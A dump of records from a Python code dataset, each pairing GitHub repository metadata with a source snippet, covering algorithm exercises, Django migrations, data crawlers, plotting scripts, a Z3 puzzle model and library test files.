#!/usr/bin/python3 """ 14-pascal_triangle """ def pascal_triangle(n): """ return list of lists representing pascal's triangle at n """ tri = [] res = [[1]] if n <= 0: return tri if n == 1: return res while (n - 1): new_tri = [1] for i in range(len(tri) - 1): ...
[ "zacwoll@gmail.com" ]
zacwoll@gmail.com
afe8fb23619f561d1b8719c49689269b3910e12c
6e5ab77fee1fb4a0310213dd8c6dd8601828b1b9
/Algorithm/문제/수업/D-20/최소 신장 트리_Kruskal.py
2e6260b4b1ddebf71cbf7c52535257afa1a5af13
[]
no_license
hongyong3/TIL
36d031c0da9e3e6db3eebb977bd3e12df00a849f
7f1492128e957a78fc95b255f4f7f2978161e471
refs/heads/master
2023-08-19T09:16:03.231757
2023-08-18T09:38:47
2023-08-18T09:38:47
162,100,258
1
0
null
2023-02-11T00:52:32
2018-12-17T08:42:42
Jupyter Notebook
UTF-8
Python
false
false
1,221
py
import sys sys.stdin = open("최소 신장 트리_input.txt", "r") def Find_Set(x): if x == P[x]: return x else: return Find_Set(P[x]) def MST(): global V c = 0 # 간선갯수 s = 0 # 가중치의 합 i = 0 # 제어변수 while c < V: # MST 구성을 위해 V개의 간선을 선택 p1 = Find_Set(data[i][0]) # 두 노드의 대표원소 알아내기 ...
[ "chy66822495@gmail.com" ]
chy66822495@gmail.com
7ad6f25fc14915ad23845834af3e3f5d9510a9fa
d45634e006783b920346fb7184c4922dd90817e9
/postgisquerybuilderdialog.py
2b995a7cfb9e1f0f07f33578f90cf8b9bee50cff
[]
no_license
procino/postgisQueryBuilder
c4d5e04cbede2e0d872097ca57bad9e7e0e85092
b09369b9b02d0f069e8570ab4940c68ba39e04ff
refs/heads/master
2020-08-05T14:57:28.537912
2019-09-23T16:49:13
2019-09-23T16:49:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,715
py
# -*- coding: utf-8 -*- """ /*************************************************************************** postgisQueryBuilderDialog A QGIS plugin helps to build views in postgis ------------------- begin : 2014-04-24 copyright...
[ "enricofer@gmail.com" ]
enricofer@gmail.com
d0c44688ee34dc4549d1e959c1227c39ffb9b86f
a8351ce63ca02ad79ba7d72ba19f90ae0a94b2e8
/fritzbox/calls/systemInfo.py
2c516bed3d9f04f13a32b9540a10b57669afaabe
[]
no_license
ms412/fritzbox
ac4c2a12897370ae8aa519e4669788d1e08cc8ea
51c9506b1fd07ed8c7eba1a97c7b633121d62399
refs/heads/master
2020-03-24T21:23:03.072627
2018-09-04T18:55:31
2018-09-04T18:55:31
141,843,032
0
0
null
null
null
null
UTF-8
Python
false
false
176
py
import fritzbox.api.deviceinfoSCPD as deviceinfoSCPD import json class systemInfo(deviceinfoSCPD.deviceinfoSCPD): def ManufactorName(self): return self.getInfo
[ "m.schiesser@gmail.com" ]
m.schiesser@gmail.com
1528b3cf7ed49231dde3e7597eb0d9b7c7928c5d
c7666e86aca83c283f400749e91234bcbf46b3c0
/core/migrations/0011_campain_direction.py
f5c77db55d303e9ee8493cd858734d6597b7736b
[]
no_license
nhrnhr0/positiveFeedback
b195e4b13e9100b1db663dea80e0fa4d7a9947cf
ab8a5ecc3aeeb07a0e064159e463eb7f652e55f2
refs/heads/master
2023-03-02T16:56:40.494710
2021-02-11T10:50:28
2021-02-11T10:50:28
334,692,961
0
0
null
null
null
null
UTF-8
Python
false
false
455
py
# Generated by Django 3.1.6 on 2021-02-03 13:20 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0010_auto_20210203_1013'), ] operations = [ migrations.AddField( model_name='campain', name='direction', ...
[ "ronionsegal@gmail.com" ]
ronionsegal@gmail.com
f42f8a3ca94c89ab8666e92a01bb95c31948f6d7
334957425d80ae9a881076ea2506978df0949e4a
/resnet/models/__init__.py
b0c16141b9e6d3046400d9bf752818e983ebd36e
[ "MIT" ]
permissive
wangkua1/resnet
f73af280b9c4de4e5cc78ca45c4092267d208c12
4252d8255155f3b1e3223396ba02f29230fdfe19
refs/heads/master
2021-01-23T03:33:39.947879
2017-03-24T17:07:08
2017-03-24T17:07:08
86,090,106
0
1
null
2017-03-24T16:44:01
2017-03-24T16:44:01
null
UTF-8
Python
false
false
148
py
from resnet_model import ResNetModel from multi_tower_model import MultiTowerModel from multi_pass_multi_tower_model import MultiPassMultiTowerModel
[ "renmengye@gmail.com" ]
renmengye@gmail.com
833d418a97de43ed709f3d088e4719bcf3d4e59a
3c41443364da8b44c74dce08ef94a1acd1b66b3e
/addons/dropbox/settings/local-dist.py
22bbbf1057abf9d3aba3f089f4e5b3df9f5d6ceb
[ "MIT", "BSD-3-Clause", "LicenseRef-scancode-free-unknown", "LicenseRef-scancode-warranty-disclaimer", "AGPL-3.0-only", "LGPL-2.0-or-later", "LicenseRef-scancode-proprietary-license", "MPL-1.1", "CPAL-1.0", "LicenseRef-scancode-unknown-license-reference", "BSD-2-Clause", "Apache-2.0" ]
permissive
CenterForOpenScience/osf.io
71d9540be7989f7118a33e15bc4a6ce2d2492ac1
a3e0a0b9ddda5dd75fc8248d58f3bcdeece0323e
refs/heads/develop
2023-09-04T03:21:14.970917
2023-08-31T14:49:20
2023-08-31T14:49:20
10,199,599
683
390
Apache-2.0
2023-09-14T17:07:52
2013-05-21T15:53:37
Python
UTF-8
Python
false
false
246
py
# -*- coding: utf-8 -*- """Example Dropbox local settings file. Copy this file to local.py and change these settings. """ # Get an app key and secret at https://www.dropbox.com/developers/apps DROPBOX_KEY = 'changeme' DROPBOX_SECRET = 'changeme'
[ "sloria1@gmail.com" ]
sloria1@gmail.com
ad5a789b0071d5260693b04ced912240320973bf
41a4887a52afe81f203d0917c5ef54ccbe2389fe
/dates/extract_jpegs.py
f1d676c1ae119086ee74b807836dcb782e77500d
[]
no_license
tgandor/meats
2efc2e144fc59b2b99aeeaec5f5419dbbb323f9b
26eb57e49752dab98722a356e80a15f26cbf5929
refs/heads/master
2023-08-30T20:35:47.949622
2023-08-25T13:26:23
2023-08-25T13:26:23
32,311,574
13
9
null
2022-06-22T20:44:44
2015-03-16T08:39:21
Python
UTF-8
Python
false
false
2,796
py
#!/usr/bin/env python from __future__ import print_function import argparse import glob import mmap import os import platform WHOLE_FILE = 0 def get_size(buffer, idx): s1 = buffer[idx + 2] s2 = buffer[idx + 3] return s1 * 256 + s2 def get_marker(buffer, idx): return buffer[idx] if platform.pyth...
[ "tomasz.gandor@gmail.com" ]
tomasz.gandor@gmail.com
cd6edfef3e1b98375fa58d8398c3637a407de209
0cf47add4f077e3f8cbb06dcf9af441365907d2c
/world_developer/world_developer.py
1e65af0b05f3882ae65a93b94fc1608eda24789f
[]
no_license
vinits5/grid_qlearning
d5772a093d42e3e483ea5bc1ee644cb86dbe2101
e15dc54af63c6e1214bf91c0eee24fc4b0838615
refs/heads/master
2020-04-20T13:47:35.859492
2019-02-05T03:42:40
2019-02-05T03:42:40
168,879,107
2
0
null
null
null
null
UTF-8
Python
false
false
5,594
py
import pygame import argparse import math import cv2 import csv import os import random pygame.init() class Create_World: def create_world(self,grid_width,grid_height,caption,blocks): # grid_blocks_width, grid_blocks_height are the number of blocks in grid. self.grid_blocks_width = grid_width self.grid_blocks_...
[ "vinitsarode5@gmail.com" ]
vinitsarode5@gmail.com
e1ae8d0f93f436de86bdeee5d76f8a776f6f731c
c89543dd926c1787c40616ed174a3d1371c54449
/superset/explore/utils.py
01f63f53f2f449937bb5756427a0d4c4db82a611
[ "Apache-2.0", "OFL-1.1" ]
permissive
j420247/incubator-superset
7c7bff330393f0e91f5e67782f35efe8c735250a
c9b9b7404a2440a4c9d3173f0c494ed40f7fa2bd
refs/heads/master
2023-03-11T21:53:16.827919
2023-02-03T19:04:17
2023-02-03T19:04:17
157,780,350
1
1
Apache-2.0
2023-03-07T00:14:51
2018-11-15T22:24:29
TypeScript
UTF-8
Python
false
false
3,379
py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
[ "noreply@github.com" ]
j420247.noreply@github.com
c5326763a941e8e5546d4c480ebf72ae34f84ce2
0a973640f0b02d7f3cf9211fcce33221c3a50c88
/.history/src/easy-money_20210129090846.py
f0c80bb4e921fb7ae39b039f9e737520929bb74c
[]
no_license
JiajunChen123/IPO_under_review_crawler
5468b9079950fdd11c5e3ce45af2c75ccb30323c
031aac915ebe350ec816c05a29b5827fde588567
refs/heads/main
2023-02-26T08:23:09.622725
2021-02-04T10:11:16
2021-02-04T10:11:16
332,619,348
0
0
null
null
null
null
UTF-8
Python
false
false
5,588
py
# 东方财富网 首发申报 from datetime import datetime,timedelta from urllib.parse import urlencode import pandas as pd import requests import re import time base_url = 'https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx?' headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like...
[ "chenjiajun.jason@outlook.com" ]
chenjiajun.jason@outlook.com
34427386fd09f179d74685668bfcc248303c00d6
eaf54e6c022b748fd0d04f076634aafdfad5f69f
/pos_speed_est_neu/tools/baro_log.py
6d971416ead2f3644519bf997c55e150f511da41
[]
no_license
PenguPilot/PenguPilot
91f131effa11a3c1ef47abb161463772325ae63b
9cb08836789cf17b9de57517040188c79765046b
refs/heads/ng-wip
2020-03-28T00:41:06.634109
2015-11-19T16:06:00
2015-11-19T16:06:00
7,300,320
78
30
null
2015-11-19T16:06:00
2012-12-24T00:18:48
C
UTF-8
Python
false
false
385
py
from msgpack import loads from scl import scl_get_socket, SCL_Reader from world_pos_est import * from threading import Thread br = SCL_Reader('baro_raw', 'sub', [0.0, 0.0]) ar = SCL_Reader('acc_world_hp', 'sub', [0.0, 0.0, 0.0]) est_socket = scl_get_socket('world_pos_est', 'sub') while 1: array = loads(est_soc...
[ "tobias.simon@tu-ilmenau.de" ]
tobias.simon@tu-ilmenau.de
e1c0633eb57e62b4b027f64372d77570f2d5a8c5
05243216d13fca0db96ffd5b27b264bfe22e6e54
/src/IceRayPy/utility/geometry/simple/__init__.py
289756f9f7105debae81980e9dfd9643b56e4d90
[ "MIT-0" ]
permissive
RaphaelK12/IceRay
6c843fb1ed4951b721ddf6c4074c6ba03a2a82e4
fdc013b7afe84127ba8972ca187b89668878e92a
refs/heads/master
2022-11-24T23:55:10.151494
2020-07-16T19:00:22
2020-08-04T14:54:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
172
py
print( '<' + __name__ + ' name=\'' + __file__ + '\'>' ) import IceRayPy.utility.geometry.simple.hyperboloid print( '</' + __name__ + ' name=\'' + __file__ + '>' )
[ "dmilos@gmail.com" ]
dmilos@gmail.com
38c0ba71b20b56e39c294463d741fc2f9d58fb1e
786027545626c24486753351d6e19093b261cd7d
/ghidra9.2.1_pyi/ghidra/app/util/bin/__init__.pyi
a3c40b20d9269dc4d1790a4491f3cd1581d77519
[ "MIT" ]
permissive
kohnakagawa/ghidra_scripts
51cede1874ef2b1fed901b802316449b4bf25661
5afed1234a7266c0624ec445133280993077c376
refs/heads/main
2023-03-25T08:25:16.842142
2021-03-18T13:31:40
2021-03-18T13:31:40
338,577,905
14
1
null
null
null
null
UTF-8
Python
false
false
1,592
pyi
from . import format as format from .BinaryReader import BinaryReader as BinaryReader from .ByteArrayConverter import ByteArrayConverter as ByteArrayConverter from .ByteArrayProvider import ByteArrayProvider as ByteArrayProvider from .ByteProvider import ByteProvider as ByteProvider from .ByteProviderInputStream import...
[ "tsunekou1019@gmail.com" ]
tsunekou1019@gmail.com
1b28388d43d79927c593345369aaff21be5e2c47
e42a61b7be7ec3412e5cea0ffe9f6e9f34d4bf8d
/a10sdk/core/ip/ip_icmp.py
9ec100fc34769d0cca39154c5c8b6c6ed6d95f6a
[ "Apache-2.0" ]
permissive
amwelch/a10sdk-python
4179565afdc76cdec3601c2715a79479b3225aef
3e6d88c65bd1a2bf63917d14be58d782e06814e6
refs/heads/master
2021-01-20T23:17:07.270210
2015-08-13T17:53:23
2015-08-13T17:53:23
40,673,499
0
0
null
2015-08-13T17:51:35
2015-08-13T17:51:34
null
UTF-8
Python
false
false
1,324
py
from a10sdk.common.A10BaseClass import A10BaseClass class Icmp(A10BaseClass): """Class Description:: Global ICMP commands. Class icmp supports CRUD Operations and inherits from `common/A10BaseClass`. This class is the `"PARENT"` class for this module.` :param redirect: {"default": 0, "optio...
[ "doug@parksidesoftware.com" ]
doug@parksidesoftware.com
5791274612d36ef7de83cebdb6b9751c866ec024
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02766/s613074727.py
00af51735e70569124b299a53c526a5752ed4bba
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
133
py
# -*- coding: utf-8 -*- N, K = map(int, input().split()) cnt = 1 val = N while val >= K: val = val / K cnt += 1 print(cnt)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
a19a6d1bc801453f9efbe4370f96fce675f643ac
f2b27ea4b474916e5b7cf1f55901cf6e01b6ee3c
/11-pandas-foundations/03-time-series-in-pandas/13-plotting-date-ranges-partial-indexing.py
2d074556b65a567e7fcf45c33133400fe5e75bfb
[]
no_license
ariscon/DataCamp_Files
a21f1265b6ad5aed04d9724be78b08634f81312e
f7e496391b1d4649bf1186b9a1c9b83fa9a50044
refs/heads/master
2020-04-13T04:27:01.650215
2018-12-30T22:51:43
2018-12-30T22:51:43
162,962,035
2
1
null
null
null
null
UTF-8
Python
false
false
1,408
py
''' Plotting date ranges, partial indexing Now that you have set the DatetimeIndex in your DataFrame, you have a much more powerful and flexible set of tools to use when plotting your time series data. Of these, one of the most convenient is partial string indexing and slicing. In this exercise, we've pre-loaded a ful...
[ "noreply@github.com" ]
ariscon.noreply@github.com
8d23ae557bcae2447e00ff93d0fb133bbbfa7c22
3a784e3d612cfc58d73eb017b2f1b068a570d55c
/z3/set_partition.py
06ff12cfc7c5f82099e73c8f80817d3a506ece99
[]
no_license
DialloMamadou/PPC
23f527671007952b0b7707716a367aa47b709842
03e508a2b2f3314fbb40eab345506b62fcb8e1da
refs/heads/master
2020-05-23T15:06:43.588228
2019-05-05T19:33:09
2019-05-05T19:33:09
186,819,656
2
0
null
null
null
null
UTF-8
Python
false
false
3,190
py
#!/usr/bin/python -u # -*- coding: latin-1 -*- # # Set partition problem in Z3 # # Problem formulation from # http://www.koalog.com/resources/samples/PartitionProblem.java.html # ''' # This is a partition problem. # Given the set S = {1, 2, ..., n}, # it consists in finding two sets A and B such that: # A U B = S, ...
[ "hakank@gmail.com" ]
hakank@gmail.com
63aeee266d9dd44c8e8ef284446c793d60e11f83
46b5c1bc98678f02cbd39b6c814e6b32908a6c22
/venv/bin/csvpy
0ee09822f3b4cb50efb5f23c7319a9053e8992c0
[]
no_license
Peter-32/portofvirginiaapp
ea0aceedce6efe928f4c128fb4935f000048678f
e0cfdd379d9654d41b301a52bcd6d77aa08d4591
refs/heads/master
2022-11-07T15:13:51.111003
2019-07-24T05:15:57
2019-07-24T05:15:57
198,562,849
0
1
null
2022-10-08T03:46:30
2019-07-24T05:13:23
Python
UTF-8
Python
false
false
302
#!/Users/petermyers/Desktop/Code/test_pyinstaller2/venv/bin/python # -*- coding: utf-8 -*- import re import sys from csvkit.utilities.csvpy import launch_new_instance if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(launch_new_instance())
[ "peter@impactradius.com" ]
peter@impactradius.com
89980836c321a62c4c1576b2387ed4e5191fa29d
7e2975464e4175db41a5465f7c0dbc4c705828fd
/test_platform/project_app/models.py
dfa396abeeecf3ac8a0ce93b234de7bc8fb34e9c
[]
no_license
yudu4908/test_dev02
bc3d504c5203a83cc00a00b5b54ae2a00e1accf5
60f554b4e19c7b617f437197ba201e3bdb94913f
refs/heads/master
2022-01-15T05:54:59.853178
2019-07-09T01:41:07
2019-07-09T01:41:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
451
py
from django.db import models # Create your models here. class Project(models.Model): """ 项目表 """ name = models.CharField("名称", max_length=50, null=False) describe = models.TextField("描述", default="") status = models.BooleanField("状态", default=1) update_time = models.DateTimeField(auto_now=...
[ "fnngj@126.com" ]
fnngj@126.com
f360f2bf25d08ba9a82ce34919a856843542ca32
d71661f3799085894074609fa506d509fada34d4
/pbase/day06/code/com.py
1fc3cd474f76febea229cf1e4b632eeb61753706
[]
no_license
vincentlyc/Learn-Path
fb84320610902dece007fb7d67038b751808f60a
4208312b60c44876307c8770d96a35cc3d087c75
refs/heads/master
2020-03-24T18:49:39.424312
2018-08-09T14:41:59
2018-08-09T14:41:59
142,900,080
0
0
null
null
null
null
UTF-8
Python
false
false
253
py
# x // f[1] + x // f[2] + ... + x // f[n] = x # n = int(input("請輸入整數:")) L = [] for n in range(1,10) : for x in range(1, n) : if n % x == 0 : L.append(x) continue if sum(L) == n : print(L) else : print("該數不是完全數")
[ "vincent11028@gmail.com" ]
vincent11028@gmail.com
bc1e19c44e36fa194d901c16c0e360a0c1331dee
250b997d715c168315a927e28124cf24c77048c0
/python3基础/2.Python修炼第二层/day2练习题.py
7cf6de4deae78be38adbe5c7ce0d9fc62fc5b436
[]
no_license
cuitianfeng/Python
c78077e5dcad01ee5fe44c0aa8b61bbc2fa388cf
9c9f10f13311116ce0bc60ec128f765ff2ca3078
refs/heads/master
2023-01-10T23:25:57.158141
2020-11-17T15:39:36
2020-11-17T15:39:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,363
py
# 字符串练习题 # 写代码,有如下变量,请按照要求实现每个功能 (共6分,每小题各0.5分) # name = " aleX" # 1) 移除 name 变量对应的值两边的空格,并输出处理结果 # print(name.strip()) # 2) 判断 name 变量对应的值是否以 "al" 开头,并输出结果
 # print(name.startswith('al')) # 3) 判断 name 变量对应的值是否以 "X" 结尾,并输出结果
 # print(name.endswith('X')) # 4) 将 name 变量对应的值中的 “l” 替换为 “p”,并输出结果 # p...
[ "zhang.hongyang@mydreamplus.com" ]
zhang.hongyang@mydreamplus.com
d250062c2d4904ca066c060773deb1499139907a
9bdeff1aa041e7e173b76294e2140f32a0dcbf33
/django_rest_api/urls.py
c988990e21697c49bc25d572944b46bcabe3c600
[]
no_license
think-station/django_rest_api
84f1ea785c3d3e901f09eac88ea826765b3095fe
2c5bc117fd12efe9d076d0235c8c7287c0f8d86d
refs/heads/master
2021-05-07T01:51:10.545079
2016-08-19T08:42:21
2016-08-19T08:42:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,404
py
"""django_rest_api URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.9/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') C...
[ "uiandwe@gmail.com" ]
uiandwe@gmail.com
f8a0f4e6445508afa720f4bef4f5e7fde25f74d1
c8bedbf18c02fdfa5d195837493fb6232ab364af
/task 1/21.py
6c7ba9a02667fe5116c9de0ea141b984f0ebbe9a
[]
no_license
DiasDogalakov/ICT_2020
143a3edfe1124d7539f8e7160c68306a405acb2f
410f4a1c52129ce0c6dc6c7a76134f9a85fe3d1b
refs/heads/master
2023-02-05T07:51:27.535568
2020-12-25T10:29:11
2020-12-25T10:29:11
296,055,624
0
0
null
null
null
null
UTF-8
Python
false
false
161
py
BASE = int(input("Base: ")) HEIGHT = int(input("Height: ")) print("Area: " + str(BASE * HEIGHT / 2)) print("BASE: " + str(BASE)) print("Height: " + str(HEIGHT))
[ "noreply@github.com" ]
DiasDogalakov.noreply@github.com
280d35c92bc36605f383a86966728c6c8503a40a
45972ccfe3ef8200306429e4a8d4f7a782ffd6ff
/api/tests/test_upcs.py
cbcd6f8f532f1f3181386ee3ec61e13a6c6ec51a
[ "MIT" ]
permissive
CMU-Robotics-Club/roboticsclub.org
24e8311ec6bc3c893dfcb91c5296079948237894
5f2ad4a15dc62160c6d03c87c121e934cacb8228
refs/heads/master
2021-01-17T08:07:55.356117
2018-09-09T05:38:44
2018-09-09T05:38:44
23,710,962
0
2
MIT
2018-09-09T05:38:45
2014-09-05T16:57:37
Python
UTF-8
Python
false
false
1,125
py
from rest_framework import status from .authenticated_api_test_case import AuthenticatedAPITestCase from upcs.format_upc import format_upc from upcs.remote_lookup import remote_lookup class UPCTests(AuthenticatedAPITestCase): def run_upc_test(self, upc): response = self.client.get("/api/upcs/?upc={}".format(upc...
[ "brentstrysko@brentstrysko.com" ]
brentstrysko@brentstrysko.com
9743deaa6a88a1f27259cbe5e1dde4c3388b976f
ce8bb40bf2b688f19ab8bcc20cfd58994413bc0f
/permission二级菜单/rbac/migrations/0007_auto_20181031_0844.py
f954d2f8af6817a75f565035792c6e67f06b1787
[]
no_license
Fover21/project1
457f452d7f6e7ecbfc81a18512377ebc5457f3f6
84d596caf5701d7d76eee8c50f61bcb6150c57f2
refs/heads/master
2020-03-24T20:01:51.506348
2018-12-26T06:07:45
2018-12-26T06:07:45
142,955,917
2
0
null
null
null
null
UTF-8
Python
false
false
484
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.11 on 2018-10-31 08:44 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('rbac', '0006_permission_name'), ] operations = [ migrations.AlterField( ...
[ "850781645@qq.com" ]
850781645@qq.com
cbf630502033d2a5a9877e55c5a55fc8e16b1f52
99697559d046cdd04dd9068bd518e4da4177aaa2
/Empty/H871_Minimum_Number_of_Refueling_Stops.py
977cfb5a7be674afdd424d75f10f468a501adb2b
[]
no_license
Azurisky/Leetcode
3e3621ef15f2774cfdfac8c3018e2e4701760c3b
8fa215fb0d5b2e8f6a863756c874d0bdb2cffa04
refs/heads/master
2020-03-18T22:46:35.780864
2018-10-07T05:45:30
2018-10-07T05:45:30
135,364,168
0
0
null
null
null
null
UTF-8
Python
false
false
213
py
class Solution: def minRefuelStops(self, target, startFuel, stations): """ :type target: int :type startFuel: int :type stations: List[List[int]] :rtype: int """
[ "andrew0704us@gmail.com" ]
andrew0704us@gmail.com
061e8c790ffc67e078b603040e308baa3a04e52e
2626f6e6803c8c4341d01f57228a0fe117e3680b
/students/BrandonHenson/Lesson07/mailroom_model.py
2384541b7dc3d2481850cc48406c36fa56c07fe1
[]
no_license
kmsnyde/SP_Online_Course2_2018
9e59362da253cdec558e1c2f39221c174d6216f3
7fe8635b47d4792a8575e589797260ad0a2b027e
refs/heads/master
2020-03-19T17:15:03.945523
2018-09-05T22:28:55
2018-09-05T22:28:55
136,750,231
0
0
null
2018-06-09T19:01:52
2018-06-09T19:01:51
null
UTF-8
Python
false
false
1,050
py
# -*- coding: utf-8 -*- import logging from peewee import * from functools import partial logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) logger.info('Program to build the classes from the model in the database') logger.info('Here we define our data (the schema)') logger.info('F...
[ "kmsnyder2@verizon.net" ]
kmsnyder2@verizon.net
e023110db16411204d74854ffed940c57c5a03d2
62599abaa4979c94001c4752db3cad2df34f61b3
/resource/pypi/cffi-1.9.1/testing/embedding/test_thread.py
f4feec68c3320ae109c365165011685a3fabd9ee
[ "MIT", "Apache-2.0" ]
permissive
pythonxuexi8888/laserjet
606a59bbe8d4be17964306ef1400d1cfaaec8336
f53e0b740f48f2feb0c0bb285ec6728b313b4ccc
refs/heads/master
2021-06-18T17:48:54.625656
2017-05-04T08:39:11
2017-05-04T08:39:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,702
py
from testing.embedding.test_basic import EmbeddingTests class TestThread(EmbeddingTests): def test_first_calls_in_parallel(self): add1_cffi = self.prepare_module('add1') self.compile('thread1-test', [add1_cffi], threads=True) for i in range(50): output = self.execute('t...
[ "hipnus@hipnuss-MacBook-Pro.local" ]
hipnus@hipnuss-MacBook-Pro.local
f8d264bfa1fb9cc28fa97436e73e0f442d14921e
c0c8bb30b1423397bf1f6b967bc294bf7c512339
/Python_Workspace/example/Web Spider/requests/13-muti_threading_spider.py
5504e123927aa15f262c2443061aa23ad94c494a
[]
no_license
lxconfig/BlockChainDemo
8d5e0d38b6008149f677000c06f535271b36118e
0267ef3cbc8c0e66f42f0b718769cce2cd94c576
refs/heads/master
2022-12-10T03:17:11.654430
2020-04-02T12:49:57
2020-04-02T12:49:57
219,700,549
14
0
null
2022-12-06T03:01:30
2019-11-05T08:59:44
HTML
UTF-8
Python
false
false
4,708
py
# -*- coding:utf-8 -*- # time: 2019/03/18 15:28 # File: 13-muti_threading_spider.py import datetime import threading import time from queue import Queue import requests from lxml import etree import json start = datetime.datetime.now() # 用来存放采集线程 g_crawl_list = [] # 用来存放解析线程 g_parse_list = [] class Cra...
[ "525868229@qq.com" ]
525868229@qq.com
4fa8b0da7a28472aabcdc61d266828fd787a1924
0c7d7b24a8d453fc1a9c2f27a08f3c4cfa46ec3b
/recipes/local_prior_match/librispeech/prepare_unpaired.py
a44141f5e7cf7c9a34aa9b629b24de7278328953
[ "BSD-3-Clause", "MIT" ]
permissive
piEYj/wav2letter
e6ae462eeeb6a4374f8280c8fa15d8f194c60215
49fbb1392e69b5194c077df9847505ec995b4e3d
refs/heads/main
2023-09-06T01:08:48.837731
2021-11-12T14:13:41
2021-11-12T14:15:15
444,344,109
1
0
NOASSERTION
2022-01-04T08:37:19
2022-01-04T08:37:19
null
UTF-8
Python
false
false
2,841
py
""" Copyright (c) Facebook, Inc. and its affiliates. All rights reserved. This source code is licensed under the MIT-style license found in the LICENSE file in the root directory of this source tree. ---------- Script to prepare unpaired data for training a model with local prior matching Command : python3 prepare_...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
82398bedd4a4b46bfe1f3779dabd9d517022d2c7
a20b3811c5b6428ba2eb9a2bd13045c537ce2f5b
/harness/determined/_swagger/client/models/v1_get_template_response.py
3c2649618a7da85d899013c9a2e34fdbb2b5c606
[ "Apache-2.0" ]
permissive
esimionato/determined
8f3eeb3884f87baa2f51eca2dc5140a312e0f06f
1f49553efccbcb60ab05d59e3e821b14c6670a4a
refs/heads/master
2023-05-23T09:29:21.446760
2021-06-03T22:09:28
2021-06-03T22:09:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,854
py
# coding: utf-8 """ Determined API (Beta) Determined helps deep learning teams train models more quickly, easily share GPU resources, and effectively collaborate. Determined allows deep learning engineers to focus on building and training models at scale, without needing to worry about DevOps or writing custo...
[ "noreply@github.com" ]
esimionato.noreply@github.com
bf849b79312add874ee6014b46e1609b631788ee
a0124b79fedd700831daf9b8032199b6bb235208
/LeetCode/Python/101-200/154.py
00312701b3651a7439b6d55dfc73327eb6d34a7f
[]
no_license
letsgrowmore/Meta
ad4a2354132d6cf4e663d732ff939f3c75b32065
ef05bd0bd2c526bf2bd52ca22a398af6c141fd2b
refs/heads/main
2023-03-15T17:38:05.019524
2021-03-21T08:38:01
2021-03-21T08:38:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
349
py
class Solution(object): def findMin(self, nums): l, r = 0, len(nums) - 1 while l < r and nums[l] >= nums[r]: mid = (l + r) / 2 if nums[mid] > nums[r]: l = mid + 1 elif nums[mid] < nums[l]: r = mid else: l...
[ "thefenrislycaon@gmail.com" ]
thefenrislycaon@gmail.com
af4786937b20d73c223428572d482d4759ffbb93
9ca0c6248b3a0904d6af8ea069ff0974a3a36498
/sat_image.py
c479bdd4c07eb3485434c60a7cca506c729c74db
[]
no_license
CUrW-SL/ShapeFile
a85f1d9b604348ce9cf3209e1f86163131068697
7593d8634d7f59a088fce983bd253d550cc70fb5
refs/heads/master
2021-07-08T20:06:34.861316
2020-07-11T01:30:46
2020-07-11T01:30:46
149,579,460
0
0
null
null
null
null
UTF-8
Python
false
false
2,271
py
import ast import datetime as dt import logging import os import zipfile import matplotlib import numpy as np from curw.rainfall.wrf.extraction import utils as ext_utils from mpl_toolkits.basemap import cm from curw.rainfall.wrf import utils try: lat_min = max(-4.0, -3.06107) lon_min = max(60.0, 71.2166) l...
[ "hasithadkr7@gmail.com" ]
hasithadkr7@gmail.com
c30b10990d6346cf82138e02b530177d0e42847b
0899b1708e33a54ea34197525e4c5bb08cb238dc
/Day 24/Example_5.py
18dc82dae77b44c3118162ae41f546adca7ee3b7
[]
no_license
anuragmukherjee2001/30-days-of-python
510fb6511b36c91b11ef8230b6539f959e1b1f72
99bdd4b72f0566c9341fc5e58a159e44f0ac90bc
refs/heads/master
2023-02-07T09:14:35.381064
2020-12-30T15:54:48
2020-12-30T15:54:48
319,247,567
0
0
null
null
null
null
UTF-8
Python
false
false
258
py
import numpy as np python_tuple = (1, 2, 3, 4, 5) print(type(python_tuple)) print('python_tuple: ', python_tuple) numpy_array_from_tuple = np.array(python_tuple) print(type(numpy_array_from_tuple)) print('numpy_array_from_tuple: ', numpy_array_from_tuple)
[ "anuragmukherjee2001@gmail.com" ]
anuragmukherjee2001@gmail.com
7a3eb57712734fd9ff40b8d353afc511a3cc06dc
9b4b577c5b1fcd36b8eabaa8ed803a550af09ed7
/os_utils/os_utilities.py
66341a4803075f3905a59e83a648e31f44234fc6
[ "BSD-3-Clause" ]
permissive
JoelRaymann/CheXpert-ChestXRay-Prediction
0bfd0a776af2e9b8ef380461ba745b110a641ca8
538efd21142c68c8094f442fca36d9cba8a3c8de
refs/heads/master
2022-01-23T08:58:56.064667
2019-06-07T05:24:42
2019-06-07T05:24:42
190,667,482
1
0
null
null
null
null
UTF-8
Python
false
false
510
py
